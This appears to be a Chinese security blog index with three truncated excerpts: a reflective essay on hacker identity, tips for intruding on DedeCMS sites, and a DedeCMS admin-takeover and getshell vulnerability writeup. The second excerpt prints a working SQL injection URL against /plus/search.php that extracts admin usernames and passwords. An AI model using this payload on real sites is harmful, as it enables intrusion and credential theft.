-
黑客：站在十字路口的孤独者
说在前面：本文有感而发，并无对任何人和产业的诋毁。只是说说自己内心对选择的一点感触，请各位不要对号入座。 十年前，别人说我是个黑客，我会觉得很骄傲；十年后，有人说我是黑客，我会立刻纠正他。十年前，可以随意看到身边的人意气风发的给人讲自己是个黑客，做过哪些入侵；十年后，曾经圈内叱咤风云的人物都已经销声匿迹，低调的做着自己的事儿。 十年的时间，...阅读全文阅读全文
-
入侵dedecms站 找后台的一些小经验分享
首先： 注入exp 有时候 有些 /plus/目录换成了 /plugins目录 /plugins/search.php?keyword=as&typeArr[111%3D@`\’`) +UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20, 21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+ from+`%23@__admin`%23@`\’`+]=a /plus/search.php?keyword=as&typeArr[111%3D@`\...阅读全文
-
dedecms织梦系统最新版本修改任意管理员漏洞及getshell
此漏洞无视gpc转义，过80sec注入防御。 补充下，不用担心后台找不到。这只是一个demo，都能修改任意数据库了，还怕拿不到SHELL？ 起因是全局变量$GLOBALS可以被任意修改，随便看了下，漏洞一堆，我只找了一处。 [php]include/dedesql.class.php if(isset($GLOBALS[‘arrs1’])) { $v1 = $v2 = ”; for($i=0;isset($arrs1[$i]);$i++) { $v1 .= chr($arrs1...阅读全文
